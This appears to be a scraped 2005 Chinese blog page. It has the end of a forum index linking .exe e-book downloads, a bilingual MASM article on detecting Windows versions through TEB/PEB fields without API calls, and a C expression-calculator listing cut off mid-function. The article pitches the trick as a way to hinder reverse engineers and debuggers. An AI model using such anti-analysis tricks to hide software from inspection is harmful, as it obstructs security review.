《上官鼎武侠全集》典藏版v1.0--云中孤雁制作 【exe】
http://www.uushop.net/bbs2/read.php?tid=58133
《神雕侠侣(插图版)》exe. 作者:金庸 精美电子书
http://www.uushop.net/bbs2/read.php?tid=65106
《神剑千年传说》(全本) 作者-BloodAugust
http://www.uushop.net/bbs2/read.php?tid=14518
《神魔》[全本] 作者:血红
http://www.uushop.net/bbs2/read.php?tid=65661
《神魔变》1-24集作者-白夜
http://www.uushop.net/bbs2/read.php?tid=44820
《神子天使》 (全本.东方玄幻) 作者:烈 焰[EXE](原创)
http://www.uushop.net/bbs2/read.php?tid=61712
《升龙道》(精美收藏版全) 作者:血红 【EXE】
http://www.uushop.net/bbs2/read.php?tid=47688
《升龙道》(全) 精美电子书 作者:血红
http://www.uushop.net/bbs2/read.php?tid=35252
《圣骑士武》.exe(全本)作者:八爪章鱼(真章鱼)
http://www.uushop.net/bbs2/read.php?tid=54353
《十二正经与奇经八脉动画》,作者:野渡
http://www.uushop.net/bbs2/read.php?tid=41374
《十景缎》作者:方寸光(EXE)
http://www.uushop.net/bbs2/read.php?tid=54078
《时空交错间的爱情》(第一卷至第四卷四十五章)作者:张远光[exe]
http://www.uushop.net/bbs2/read.php?tid=65026
《实验皇帝》 作者:乙醇【玄幻】
http://www.uushop.net/bbs2/read.php?tid=41050
《世界刀枪图谱》【原创】【EXE】
http://www.uushop.net/bbs2/read.php?tid=28831
《水云间》(全)作者:不详
http://www.uushop.net/bbs2/read.php?tid=9401
《睡着的武神》完整版 作者:陈苦【更新至第7集完】
http://www.uushop.net/bbs2/read.php?tid=55699
《司马翎武侠全集》典藏版——云中孤雁版
http://www.uushop.net/bbs2/read.php?tid=37195
《司马紫烟武侠全集》典藏版v1.0--云中孤雁制作 【exe】
http://www.uushop.net/bbs2/read.php?tid=55779
《松柏生香艳武侠小说》全集典藏版v2.0——云中孤雁版
http://www.uushop.net/bbs2/read.php?tid=41361
《搜神记》(全本) 作者:树下野狐 【EXE】转
http://www.uushop.net/bbs2/read.php?tid=50887


T  

《台北爱情故事》+《洗头房调查》+《光棍大学修改版》+《此间的少年–射雕大学版》
http://www.uushop.net/bbs2/read.php?tid=61718
《太古的盟约》 作者:winter
http://www.uushop.net/bbs2/read.php?tid=35623
《太平盛世》[第一部.全(1-10.5)]作者:隐逸龙[EXE][原创2005.04.09修正版]
http://www.uushop.net/bbs2/read.php?tid=43340
《太阳传奇》第1-17集 作者-台灯【Exe+Ebk】[原创]
http://www.uushop.net/bbs2/read.php?tid=59590
《贪睡状师》(1-8集 )作者:听语
http://www.uushop.net/bbs2/read.php?tid=28393
《桃花运》(1-222章) 作者:花鼠子 【啃书八号】制作 exe
http://www.uushop.net/bbs2/read.php?tid=50881
《桃花运》制作最新1-233
http://www.uushop.net/bbs2/read.php?tid=66899
《天蛋》【全】 作者:紫飞【EBK】(原创)
http://www.uushop.net/bbs2/read.php?tid=66598
《天龙八部之转折》 作者:游戏红颜
http://www.uushop.net/bbs2/read.php?tid=25207
《天龙王》 (1-413章) 作者:血的纹章 【CHM】
http://www.uushop.net/bbs2/read.php?tid=61323
《天魔神谭》 作者:手枪 至第三卷 第三十六章 赤炎狮鹫
http://www.uushop.net/bbs2/read.php?tid=55770
《天怒》(全)作者:陈放 云中孤雁版
http://www.uushop.net/bbs2/read.php?tid=43679
《天生我材必有用》1-182全新到183 ebk+EXE】作者:yeyi0574
http://www.uushop.net/bbs2/read.php?tid=65751
《天堂向左,深圳往右》作者:慕容雪村 [全本][chm精美电子书]
http://www.uushop.net/bbs2/read.php?tid=43499


U  

V  

W

《王晋康科幻作品集》-云中孤雁版
http://www.uushop.net/bbs2/read.php?tid=65814
《王牌执照》[全本]作者:风雨重[EBK+EXE]
http://www.uushop.net/bbs2/read.php?tid=55146
《王牌执照》[全本]作者:风雨重[原创] 【EXE】
http://www.uushop.net/bbs2/read.php?tid=61332
《网络骑士》 ? 最精彩黑客大战!!!(全本)
http://www.uushop.net/bbs2/read.php?tid=14505
《网梦灵游》第1-8集 作者:千幻冰云
http://www.uushop.net/bbs2/read.php?tid=61227
《网游——死灵骑士》(全)
http://www.uushop.net/bbs2/read.php?tid=22334
《网游之职业人生》 1~9(1) 神秘日记 作者:天佐
http://www.uushop.net/bbs2/read.php?tid=66874
《唯美主义魔法师》(1-13)作者:须弥芥子 【EXE】
http://www.uushop.net/bbs2/read.php?tid=66721
《卫斯理系列》全集 (共47卷,已完)作者:倪匡
http://www.uushop.net/bbs2/read.php?tid=55218
《卫斯理小说全》[分本EXE] 已发完 作者:倪匡
http://www.uushop.net/bbs2/read.php?tid=50586
《温瑞安武侠全集》 云中孤雁版
http://www.uushop.net/bbs2/read.php?tid=45046
《我的传奇一生》 作者:老牛
http://www.uushop.net/bbs2/read.php?tid=25462
《我们的黄金时代》(全)作者:愿望树
http://www.uushop.net/bbs2/read.php?tid=57929
《我认识的100个女孩》(全本) 作者︰大卫 . 凯撒 【EXE】电子书
http://www.uushop.net/bbs2/read.php?tid=54046
《我是大魔鬼》第01-12 集(作者︰终极大魔鬼)
http://www.uushop.net/bbs2/read.php?tid=31389
《我是怎样诱骗漂亮女孩的》
http://www.uushop.net/bbs2/read.php?tid=13788
《我踢球你在意吗》10月18日更新
http://www.uushop.net/bbs2/read.php?tid=4463
《卧龙生武侠全集》典藏版 ? 云中孤雁制作
http://www.uushop.net/bbs2/read.php?tid=54079
《无极作品全集》典藏版v1.0 云中孤雁 制作【EXE】精品
http://www.uushop.net/bbs2/read.php?tid=49243
《午夜性心情》 作者:舒馨
http://www.uushop.net/bbs2/read.php?tid=49705
《妩媚》全本 作者:迷男 ? [EXE]
http://www.uushop.net/bbs2/read.php?tid=45891
《武汉,处女的坟地(震撼推荐)》作者:冰草2002
http://www.uushop.net/bbs2/read.php?tid=39341
《武魂》1~4卷作者:讳语者【原创exe]
http://www.uushop.net/bbs2/read.php?tid=67319
《武林启事录》1~22 作者:影子武士(转)
http://www.uushop.net/bbs2/read.php?tid=44550
《武林樵子武侠全集》典藏版–云中孤雁武侠
http://www.uushop.net/bbs2/read.php?tid=53794
《舞夜游侠》(全)[EXE]
http://www.uushop.net/bbs2/read.php?tid=48134
《戊戟武侠全集》典藏版v1.01
http://www.uushop.net/bbs2/read.php?tid=58450
《戊戟武侠全集》典藏版v1.0--云中孤雁版 【exe】
http://www.uushop.net/bbs2/read.php?tid=57367
《悟空传》(全),作者:今何在
http://www.uushop.net/bbs2/read.php?tid=27979


X  

《惜花魔帝》
http://www.uushop.net/bbs2/read.php?tid=17332
《仙道炼心1-8》合集,EBK格式。
http://www.uushop.net/bbs2/read.php?tid=53604
《仙人传奇》第一部~第二部(第五集) 作者-鬼面
http://www.uushop.net/bbs2/read.php?tid=53427
《现代神医奇侠传》1-7卷 作者:风之天下 【EXE】
http://www.uushop.net/bbs2/read.php?tid=54433
《现代异能传奇》(1-5 )作者:蜀龙[原创]
http://www.uushop.net/bbs2/read.php?tid=42955
《逍遥修神记》第1-62章 作者:叶星
http://www.uushop.net/bbs2/read.php?tid=55192
《萧瑟武侠全集》典藏版v1.0 云中孤雁 制作
http://www.uushop.net/bbs2/read.php?tid=50258
《萧逸武侠全集》典藏版——云中孤雁版
http://www.uushop.net/bbs2/read.php?tid=42652
《萧玉寒武侠小说合集》
http://www.uushop.net/bbs2/read.php?tid=66516
《销魂一指令》 作者:独孤残红
http://www.uushop.net/bbs2/read.php?tid=67184
《小子传奇》(1-76)[作者:笑破天][EXE]
http://www.uushop.net/bbs2/read.php?tid=54791
《校园爱情录》 作者:陈瑞
http://www.uushop.net/bbs2/read.php?tid=25470
《校园篮球风云》 [1--94章]作者-大秦炳炳
http://www.uushop.net/bbs2/read.php?tid=52488
《校园篮球风云》1-99 作者:大秦炳炳
http://www.uushop.net/bbs2/read.php?tid=66207
《邪帝苍龙传》 1-5 作者:寒香•寂寞[原创][EBK+EXE]
http://www.uushop.net/bbs2/read.php?tid=49625
《邪恶天使与能量战神》(全)作者:云浪【原创】chm
http://www.uushop.net/bbs2/read.php?tid=29194
《邪樱》[1~15卷全]作者:凝翠崖v15
http://www.uushop.net/bbs2/read.php?tid=64285
《谢天武侠全集》典藏版v1.1 云中孤雁制作 【EXE】
http://www.uushop.net/bbs2/read.php?tid=64794
《心灵黑客》.1~97(未完).作者:搞怪
http://www.uushop.net/bbs2/read.php?tid=37898
《新警察故事》(全本1-97) 作 者:李凝楼 (exe+ebk)[原创]
http://www.uushop.net/bbs2/read.php?tid=58717
《新宋》(1~2.1.6)作者:阿越
http://www.uushop.net/bbs2/read.php?tid=44384
《新五朵金花》1~9卷11章作者:心恋(6月12日更新)
http://www.uushop.net/bbs2/read.php?tid=44609
《姓氏起源》 (全部下栽后解压)
http://www.uushop.net/bbs2/read.php?tid=15258
《幸运魔剑士》(全本)作者:云天空 [CHM]
http://www.uushop.net/bbs2/read.php?tid=67311
《修真神偷》(第1-11集合集)作者:1112e [EBK][原创]
http://www.uushop.net/bbs2/read.php?tid=66725
《玄媚剑》(1-16(7))原创 作者:说剑 【EXE】
http://www.uushop.net/bbs2/read.php?tid=61109
《玄媚剑》完整版(1-16卷第7章-毒酒暗害)-5月25日更新
http://www.uushop.net/bbs2/read.php?tid=47368
《玄霜武侠全集》典藏版 云中孤雁制作
http://www.uushop.net/bbs2/read.php?tid=67106
《雪雁武侠全集》典藏版v1.0 云中孤雁制作
http://www.uushop.net/bbs2/read.php?tid=59981
《血色浪漫》——残酷青春作者:都梁 【cap阿阳原创】
http://www.uushop.net/bbs2/read.php?tid=46431
《寻美侠客行》 第1集至第26章 陷入圈套(2) 作者:豆泥丸
http://www.uushop.net/bbs2/read.php?tid=32015


Y

《杨鹏奇幻文学系列》 (1-12 ) exe 作者-杨鹏
http://www.uushop.net/bbs2/read.php?tid=66434
《一口气读完世界历史》 (全)
http://www.uushop.net/bbs2/read.php?tid=13775
《一任群芳妒》(第一篇至第四十篇第三节第四节)作者:冷月
http://www.uushop.net/bbs2/read.php?tid=66895
《一窝狐狸精》1-60集 作者:水蜡烛
http://www.uushop.net/bbs2/read.php?tid=46571
《伊底帕斯之镜》(1-15章) 作者:秦守 ebk
http://www.uushop.net/bbs2/read.php?tid=58976
《忆文武侠全集》典藏版v1.0--云中孤雁制作【exe】
http://www.uushop.net/bbs2/read.php?tid=57841
《异能》1-5 作者:蔚蓝魅力[EBK][1-3自己动手做的,4-5AsessinSCL做的]
http://www.uushop.net/bbs2/read.php?tid=41744
《异人傲世录》(1-27卷) 作者:明寐
http://www.uushop.net/bbs2/read.php?tid=37810
《异人傲世录》(29全)(wyslnhhh带封面版)作者:明寐
http://www.uushop.net/bbs2/read.php?tid=54088
《异时空新三国传奇》 ? 作者: 风华爵士 ? 1-65老黄忠死保桂阳城
http://www.uushop.net/bbs2/read.php?tid=64889
《异世帝王行》(1~24集全) 作者:网络骑士 【EXE】【YES出品】
http://www.uushop.net/bbs2/read.php?tid=59688
《异侠》 (1-19集,5月6日更新到19集) 作者:自在
http://www.uushop.net/bbs2/read.php?tid=48187
《异侠》(1~18集)作者 WADE 【转贴EXE】
http://www.uushop.net/bbs2/read.php?tid=60218
《异域人生》(1-288集) 作者- 西北苍狼 【EXE】
http://www.uushop.net/bbs2/read.php?tid=49107
《佚名武侠全集》典藏版v1.0 ? 云中孤雁制作 【EXE】
http://www.uushop.net/bbs2/read.php?tid=65420
《银河英雄传说》(全) 作者:田中芳树
http://www.uushop.net/bbs2/read.php?tid=16867
《英雄志》1-18章 作者:孙晓
http://www.uushop.net/bbs2/read.php?tid=40411
《佣兵天下》(到第4卷第70章)【EXE】
http://www.uushop.net/bbs2/read.php?tid=64528
《佣兵天下》(第三卷全) 作者:说不得大师
http://www.uushop.net/bbs2/read.php?tid=44409
《佣兵天下》(更新到第四卷第76章 A级对决) 作者:说不得大师
http://www.uushop.net/bbs2/read.php?tid=52981
《永不放弃之混在黑社会》
http://www.uushop.net/bbs2/read.php?tid=23884
《鱼龙变》1-7集 [珍藏版] 作者-魏岳【EXE】
http://www.uushop.net/bbs2/read.php?tid=48128
《娱乐王朝》(全本.恩怨情仇小说) 作者:黯然销魂[EBK+EXE]
http://www.uushop.net/bbs2/read.php?tid=60491
《雨落南阳》 作者:梅儿黄【EXE】(原名:《狮城情话》)
http://www.uushop.net/bbs2/read.php?tid=66045
《玉麟传奇》—–个人珍藏版。
http://www.uushop.net/bbs2/read.php?tid=63268
《驭兽斋》第1-16卷第5章 作者:雨魔
http://www.uushop.net/bbs2/read.php?tid=48905
《驭兽斋》第1-16卷第5章 作者:雨魔
http://www.uushop.net/bbs2/read.php?tid=53506
《狱锁狂龙》(第一卷至第三卷11章) 作者:华新 【EXE】
http://www.uushop.net/bbs2/read.php?tid=61226
《欲望腾飞》第一卷-第十卷三章 zwxjtu制作 [EXE]
http://www.uushop.net/bbs2/read.php?tid=61890
《欲望中的城市》(全本)作者:跳舞【EXE】 【shuxiner制作】
http://www.uushop.net/bbs2/read.php?tid=50811
《原始之魔》1-12章 作者:原傲 【EXE】
http://www.uushop.net/bbs2/read.php?tid=56360
《原振侠系列》 【EXE】
http://www.uushop.net/bbs2/read.php?tid=66532
《月下十二金钗》作者-秋山临枫
http://www.uushop.net/bbs2/read.php?tid=48380
《云中岳武侠全集》典藏版v1.0 【EXE】制作者:云中孤雁
http://www.uushop.net/bbs2/read.php?tid=53699


Z  

《斩风》(1-12集)作者:甲子【EXE】
http://www.uushop.net/bbs2/read.php?tid=50051
《斩风》(1-13集)作者:甲子【EXE】
http://www.uushop.net/bbs2/read.php?tid=58728
《征服天下》(全1-19集) 作者:自由战士[转贴][EBK]
http://www.uushop.net/bbs2/read.php?tid=38954
《征战天下》(第二部第二十一集)
http://www.uushop.net/bbs2/read.php?tid=36254
《征战天下》(第一集~ 第二部 第十三集 帝国阴霾 1-4) 作者:雨过天晴
http://www.uushop.net/bbs2/read.php?tid=54647
《拯救乳房》10月16日更新
http://www.uushop.net/bbs2/read.php?tid=4229
《至尊无名》到第96章(精美版)||最后的仙人到第6卷27章【EXE】
http://www.uushop.net/bbs2/read.php?tid=64916
《中国五十六个民族的图腾》
http://www.uushop.net/bbs2/read.php?tid=35981
《中唐侠隐》 (全本.传统武侠) 作者:柳下梦[EXE](原创)
http://www.uushop.net/bbs2/read.php?tid=61178
《周郎武侠全集》典藏版v1.0-云中孤雁制作【EXE】
http://www.uushop.net/bbs2/read.php?tid=59611
《诸葛青云武侠全集》典藏版v1.0 云中孤雁制作
http://www.uushop.net/bbs2/read.php?tid=59354
《紫川》 为了强大的梦想,为了家族血统的薪火相传(第一部 全本)
http://www.uushop.net/bbs2/read.php?tid=14503
《纵横校园》(全)作者:泻佳泉 ||
http://www.uushop.net/bbs2/read.php?tid=35165
《纵意花丛》(1-8集全电子书)(随时更新)作者:贵竹 【EXE】
http://www.uushop.net/bbs2/read.php?tid=63091


huang19865 2005-06-14 20:02
真的很佩服你类~
不过我更景仰你~没给自己做广告赚支持度


hhpp 2005-06-14 20:23
顶,支持你




查看完整版本: [-- 电子E书目录总索引(已完成) --] [-- top --]





Powered by PHPWind 3.0.1 Beta Code © 2003-05 PHPWind

Gzip enabled

You can contact us



2005年05月09日

创建时间:2005-04-13 更新时间:2005-04-14
文章属性:翻译
文章提交:sFqRy (mqphk163_at_163.com)

非API函数检测操作系统类型
作者:Thomas Kruse,nbw
来源:

The Assembly-Programming-Journal, Vol. 1, No. 1 (2004)

http://www.Assembly-Journal.com
Abstract

概要
Today nearly all programmers use the Advanced Programming Interface (API) to receive information’s about given system

values. By using this API’s, we don’t have to take care which operating system is currently available.

现在几乎所有的程序员都采用扩展程序接口(API)来获取操作系统信息。采用AIP函数,我们不需要关心当前所用的操作系统具体状况。



But sometimes it might be needful to avoid the usage of such API’s. This situation is given during development of software

protections in order to avoid importing functions which – eventually – will point a reverse engineer to a solution.

但是有时候不能采用API函数。比如开发保护软件时候,防止给逆向者透漏引用的函数信息信息。



This essay show up a way to detect the today given operating systems from Microsoft: Windows 95, 98, ME – the non NT-based

operating systems – and Windows NT4, 2000, XP, 2003 – the NT-based operating systems.

这篇文章介绍了如何检测当前用到的操作系统,微软: Windows 95, 98, ME – 非NT内核,以及 Windows NT4,2000,XP -NT内核系统。



The shown source code is in Microsoft Assembler style (MASM [3]).

这里给出的代码是微软汇编体系(MASM[3])。



Keywords: Microsoft Operating Systems, Software Protection, Assembly Programming, System Internals

关键词: 微软操作系统,软件保护,汇编程序,系统内核



The author Thomas Kruse has his main research focus on operating-system independent code optimising and software-protection development. He is Associate

Editor of Assembly-Journal and CodeBreakers-Journal.

本文作者作者 Thomas Kruse 致力于独立于操作系统的代码和软件保护系统的研究,也是Assembly-Journal 和 CodeBreakers-Journal的编辑。



I. Introduction

介绍



When analysing the structure of the Thread Environment Block (TEB – also known as Thread Information Block TIB) on

different operating systems, we find additional data followed by this structure. This additional data seems to have – on non

NT-based operating systems – no logical structure or length definition, where NT-based operating systems store the information

inside the Process Environment Block (PEB). The only way to figure out the meaning of this data for non NT-based operating

systems is to debug the same application on different operation systems[2].

分析不同操作系统的线程环境块(TEB — 也叫做线程信息块 TIB),我们可以看到这个结构的附加数据。对于非NT内核的系统,这些附加数据没有逻辑结构或者长度定义,而对于NT内核的系统他们保存了进程环境块(PEB)的信息。确定非NT内核系统中这些数据意义的唯一方法,就是在不同的操作系统中调试同一个程序。



II. Application start

程序开始



There are many ways in detecting an operating system. It could be done by using the Windows API function GetVersionEx[1]

and checking the version values returned in structure OSVERSIONINFO(EX)[1], or by accessing Register CS. Another way is

analysing the registers during start up of an application. There are several rules for them on how operating systems prepare

several registers before executing the first instruction:

有很多方法可以检测操作系统。可以采用Windows API函数 GetVersionEx[1],然后检查返回值或者检查CS寄存器。另外一个方法就是分析程序开始运行时候寄存器的值。在操作系统执行程序第一条指令以前,有很多处理寄存器的规则可以被利用。



Startup values for Windows 95/98/ME

Windows 95/98/ME启动值(译注:程序临执行以前)



EAX == Application Entry Point

EAX == 程序入口



EBX == 00530000h, a fixed value

确定值



Startup values for Windows NT/2000/XP/2003

Windows NT/2000/XP/2003启动值



EAX == NULL

EBX == 7FFDF000h, pointer to (PEB)

EBX == 7FFDF000h, PEB指针



By knowing this rules we where able to check the operating system base during start up. But then we need to store the register

values of EAX and EBX for further usage – or resolve them in a different way.

利用上面的特点,我们可以在启动时候确定操作系统类型。但是为了以后使用我们需要存储EAX,EBX或者也可以采用其他方法处理。



A. Thread Environment Block

A.线程环境块



The TEB is prepared during application start up and contain pointers to thread related additional data. The TEB structure is

available on all operating systems. It’s size is defined to 34h Bytes. The TEB address could be resolved by accessing the

segment register FS in the following way:

程序启动前TEB便被初始化并且含有线程重定位数据指针。TEB结构在所有的操作系统中都是有效的。它的大小是34字节。TEB地址可以利用FS寄存器配合下面的方法来获取:



assume fs:nothing

mov eax,fs:[18h]



The register EAX will contain the base address of this block. The TEB contains – at address 18h inside the structure – a pointer

to itself:

EAX寄存器含有TEB地址。TEB结构中第18h位为指向该TEB的指针。



pSelf DWORD ? ; 18h pointer to TEB/TIB



The last entry of TEB is the pointer to process database. On NT-based operating systems this value will point to the address

of Process Environment Block (see Section II-C)

TEB最后的内容为指向进程数据的指针。在NT内核系统中,这个值指向进程环境块(参考 II-C 部分)



B. Additional data following TEB

B. TEB附加数据



Told in Section I, this additional data has no logical structure and differs on each non NT-based operating system. On Windows

NT, 2000, XP and 2003 this additional Data is defined as follows:

第I部分说过,在每个非NT内核系统中附加数据块没有逻辑结构和具体定义(译注:这里好像应该是NT内核结构)。在Windows NT,2000,XP和2003,这些数据如下:



NT_TEB_ADDON struct

LastErrorValue DWORD ? ; 00h (34h TEB)

LastStatusValue DWORD ? ; 04h (38h TEB)

CountOwnedLocks DWORD ? ; 08h (3Ch TEB)

HardErrorsMode DWORD ? ; 0Ch (40h TEB)

NT_TEB_ADDON ends



Windows 95, 98, ME didn’t have such a structure; the additional data is scrambled!

Windows 95, 98, ME 没有这些数据结构。附加数据完全很混乱!



C. Process Environment Block

C. 进程环境块



Windows NT-based operating systems store process related data inside the Process Environment Block. The address of this

structure is avaliable by accessing the segment register FS:

NT内核的系统把进程相关数据存储在进程环境块中。这个结构的地址可以通过操作FS寄存器来获取:



assume fs:nothing

mov eax,fs:[30h]



The register EAX will contain the base address of PEB.

EAX寄存器中便是PEB基地址。



pProcess DWORD ? ; 30h pointer to process database



The version information is stored inside the PEB structure:

操作系统信息被存储在PEB结构中:



OSMajorVersion DWORD ? ; A4h <=4->NT / 5->2K/XP/2K3

OSMinorVersion DWORD ? ; A8h 0->2K / 1->XP / 2->2K3



D. NT-based definitions

D. NT内核中的定义



Windows NT, 2000, XP and 2003 use fixed addresses to store PEB and TEB. The PEB is always stored at address 7FFDF000h

and TEB is starting at 7FFDE000h. By knowing these two fixed values, it is possible to detect the operating system base.

Windows NT, 2000, XP and 2003采用固定数据存储PEB和TEB。PEB总是被存放在7FFDF000h,TEB总是从7FFDE000h开始。知道了这2个固定数据,就可以检测出来操作系统类型。



III. The Trick

III. 一些技巧



Section II-B has shown an add-on structure for NT-based operating systems. The data exists on non NT-based operating

systems, too. But it is stored in a different way. To resolve correct memory positions – related to detect the operating system

第II-B 部分介绍了附加数据在NT内核系统中的存储。在非NT内核系统中,也存在这些数据。但是存储方式不一样。通过获取这些数据的位置,可以检测出来操作系统类型。



- we use a trick the analyse the additional data.

- 我们采用一些技巧来分析这些附加数据



If we take a closer look to the NT TEB ADDON structure shown in Section II-B, we see the entry LastErrorValue. Nearly

all Windows API’s will return an error value which is accessible via GetLastError[1]. In addition to this, it is possible to

manipulate the LastErrorValue via SetLastError[1] API. By using this API and monitoring the memory area behind the TEB,

the locations for the LastErrorValue are:

如果仔细看一下II-B部分说的NT TEB附加数据,可以发现入口处的LastErrorValue。几乎所有跟GetLastError[1]有关系的API都要返回一个错误值。可以采用一些技巧来利用SetLastError[1] 返回的这个Error值,为了使用这个API并且检测TEB后面的内存,下面列出来LastErrorValue 的位置:



Windows 95 – TEB-base + 60h

Windows 98 – TEB-base + 60h

Windows ME – TEB-base + 74h



Now we are able to detect Windows ME or Windows 95/98. First step to our solution, but not the final one. It is possible to

detect a difference between Windows 95 and Windows 98.

现在就可以检测出来Windows ME 或者 Windows 95/98。这是解决问题的第一步,并没有到最后。有可能检测出来Windows 95 和 Windows 98之间的不同。



Section II showed the start up values and their rules. The start up value of EBX on non NT-based OS is 00530000h. Exactly

this value will be found inside the additional data part – close to the now resolved LastErrorValue. By analysing it’s location,

the result will be:

第II 部分说明了初始化值和他们的规律。对于非NT内核的系统,EBX初始为00530000h。并且这个值可以从附加数据中查出来 – 与LastErrorValue非常近。为了分析这个数据,下面列出来具体位置:



Windows 95 – TEB-base + 58h

Windows 98 – TEB-base + 54h

Windows ME – TEB-base + 7Ch



Now we are able to differ between each non NT-based operating system.

现在我们就可以区分没一个非NT内核的系统。



IV. Code creation

IV. 创建代码



Right now, we where able the detect the version information for each operating system. We want an operating system

independent code, we need to structure the given information’s. Also it should be possible to resolve the version information

workflow independent. Section VI will show the complete solution in Assembler.

现在,我们可以检测每个操作系统的版本信息。为了让代码不依赖于操作系统,我们需要把需要的信息组织成一个结构。并且有必要让类型信息独立起来。第VI 部分将给出完全的汇编解决方案。



First of all, we get the base addresses of PEB and TEB and resolve the operating system base by analysing them:

首先,获取PEB和TEB的基地址,通过分析他们获取不同的操作系统信息。



assume fs:nothing

mov ebx,fs:[18h] ; get self pointer from TEB

mov eax,fs:[30h] ; get pointer to PEB / database

.if eax==7FFDF000h && ebx==7FFDE000h

; WinNT based

.else

; Win9X based

.endif ; of base check NT/9X



The version information for NT-based operation systems is stored inside PEB. We only have to analyse the values of

NT内核的版本信息存储在PEB中。我们仅仅需要分析这些数据:



OSMajorVersion and OSMinorVersion:

mov ebx,[eax+0A8h] ; get OSMinorVersion

mov eax,[eax+0A4h] ; get OSMajorVersion

.if eax==5 && ebx==0 ; is it Windows 2000?

.elseif eax==5 && ebx==1 ; is it Windows XP?

.elseif eax==5 && ebx==2 ; is it Windows 2003?

.elseif eax<=4 ; is it Windows NT?

.endif



Non NT-based operating systems could be detected by analysing the additional data area behind TEB, searching the value

00530000h:

非NT内核的操作系统可以通过分析TEB附加数据,搜索00530000h:



mov edx,00530000h ; the value to search

mov eax,fs:[18h] ; get the TEB base address

mov ebx,[eax+58h] ; TEB-base + 58h (W95)

mov ecx,[eax+7Ch] ; TEB-base + 7Ch (WME)

mov eax,[eax+54h] ; TEB-base + 54h (W98)

.if ebx==edx ; is it Windows 95?

.elseif eax==edx ; is it Windows 98?

.elseif ecx==edx ; is it Windows ME?

.endif



V. Conclusions

V. 结论



Resolving the operating system by using this technique is only one possibility to avoid the usage of Advanced Programming

Interface functions. Other functions, for example GetCommandLine[1], IsDebuggerPresent[1] or named functions in this essay

could be "rewritten" in the same way. In other words: the reverse engineer isn’t able to set breakpoints on API function calls,

because they didn’t exist. And mixing different operating system solutions together makes life even harder for him.

采用这个技术,不过是避免使用API函数一种方法。其他很多函数,例如GetCommandLine[1], IsDebuggerPresent[1] 或者这篇文章中的一些函数都可以采用同样的方法被重写。换句话说:逆向人员不会拦截到相关API函数,因为根本就没有使用他们。并且,如果把对不同操作系统的处理都混杂在一起,对他们分析来说,会更加困难。





VI. Appendix

VI. 附录



.const

;– return values from OS_GetOS

OS_UNKNOWN equ -1

OS_WIN95 equ 1

OS_WIN98 equ 2

OS_WINME equ 3

OS_WINNT equ 4

OS_WIN2K equ 5

OS_WINXP equ 6

OS_WIN2K3 equ 7

.code

OS_GetOS proc

local _theReturnValue:DWORD

pushad ; store all registers

mov _theReturnValue,OS_UNKNOWN

assume fs:nothing

mov ebx,fs:[18h] ; get self pointer from TEB

mov eax,fs:[30h] ; get pointer to PEB / database

.if eax==7FFDF000h && ebx==7FFDE000h ; WinNT based

mov ebx,[eax+0A8h] ; get OSMinorVersion

mov eax,[eax+0A4h] ; get OSMajorVersion

.if eax==5 && ebx==0 ; is it Windows 2000?

mov _theReturnValue,OS_WIN2K

.elseif eax==5 && ebx==1 ; is it Windows XP?

mov _theReturnValue,OS_WINXP

.elseif eax==5 && ebx==2 ; is it Windows 2003?

mov _theReturnValue,OS_WIN2K3

.elseif eax<=4 ; is it Windows NT?

mov _theReturnValue,OS_WINNT

.endif

.else ; Win9X based

mov edx,00530000h ; the magic value to search

mov eax,fs:[18h] ; get the TEB base address

mov ebx,[eax+58h] ; TEB-base + 58h (W95)

mov ecx,[eax+7Ch] ; TEB-base + 7Ch (WME)

mov eax,[eax+54h] ; TEB-base + 54h (W98)

.if ebx==edx ; is it Windows 95?

mov _theReturnValue,OS_WIN95

.elseif eax==edx ; is it Windows 98?

mov _theReturnValue,OS_WIN98

.elseif ecx==edx ; is it Windows ME?

mov _theReturnValue,OS_WINME

.endif

.endif ; of base check NT/9X

popad ; restore all registers

mov eax,_theReturnValue

ret ; return to caller

OS_GetOS endp

2005年01月17日

/************************************************************************
 * File: expr.c
 * Version: 0.01
 *
 * Posted at: www.donews.net/codez
 * Email: jay_zephyr2002#yahoo.com.cn
 * Written by codez @ Jan 162005
 *
 * Description:
 *   This program is a expression calculator. You can use it
 * to calculate expression. If you want to use a hex value in
 * calculating, with a prefix “0x” or “0X”.
 *
 * Other:
 *    No float-point value support in this version.
 *
 * (C)opyright by codez! You can use it freely, but NO WARRANTY!!!
 *
 *—————————————————————-
 * e.g
 *
 *    your input can be:
 *    ——————
 *    0xab+0×12-18*(21-(5+8)-0xa+0xb0)
 *
 *    output result is:
 *    —————–
 *    Result is: -2943 42949643530xFFFFF481
 *
 *=================================================================
 *
 * ========
 * BNF Rule
 * ========
 * 
 * exp     := exp addop term | term
 * addop   := +|-
 * term    := term mulop factor | factor
 * mulop   := *|/
 * factor  := (exp) | num | hex
 * 
 * =========
 * EBNF Rule
 * =========
 * 
 * exp     ::= term {addop term}
 * addop   ::= +|-
 * term    ::= factor {mulop factor}
 * mulop   ::= *|/
 * factor  ::= (exp) | num | hex

 * ================
 * Other definition
 * ================
 * 
 * digit     [0-9]
 * num       {digit}+
 * 
 * hex_base  [0-9a-fA-F]
 * hex       0x{hex_base}+
 *
 ************************************************************************/

#include <stdio.h>
#include <stdlib.h>

/* calculator type */

/**
 * or you can use follw type

 typedef unsigned long VALUE_TYPE;

 */
typedef int VALUE_TYPE;

/* input buffer size */
#define MAX_SIZE     1024

/* if you only want to use hex value, set this for 1 */
#define     ALWAYS_USE_HEX     0

/* input buffer */
char buffer[MAX_SIZE];

/* token for advance input */
char token;

/* token iterator in buffer */
int _idx = 0;

/* get token */
void getToken(void)
{
     token = buffer[_idx++];
}

/* unget token */
/*
void ungetToken(void)
{
    if (_idx != 0) 
        buffer[--_idx] = token;
}
*/


/* function pre-declaration */
VALUE_TYPE expr();
VALUE_TYPE term();
VALUE_TYPE factor();
VALUE_TYPE get_value(int bHex);

int main()
{
     VALUE_TYPE temp = 0;

     printf(“please input a expression:\n”);
     scanf(“%s”, buffer);

     getToken();
     temp = expr();

     printf(“=======================================================\n”);
     printf(“Result is: %d %uL 0x%X\n”, temp, (long)temp, (long)temp);
     printf(“=======================================================\n”);

     return 0;
}

VALUE_TYPE expr()
{
     VALUE_TYPE temp = 0;

     temp = term();
     
     while (token)
     {
          if (token==‘+’)
          {
               getToken();
               temp += term();
          }
          else if (token==‘-’)
          {
               getToken();
               temp -= term();
          }
          else if (token==‘)’ || token==‘\0′)
               break;
          else if (token==‘ ’ || token==‘\t’ || token==‘\r’ || token==‘\n’)
          {
               getToken();
               continue;
          }
          else
          {
               fprintf(stderr, “Error: invalid token[%d] -> %02X in exp()!\n”, _idx-1, token);
               exit(1);
          }
     }

     return temp;
}

VALUE_TYPE term()
{
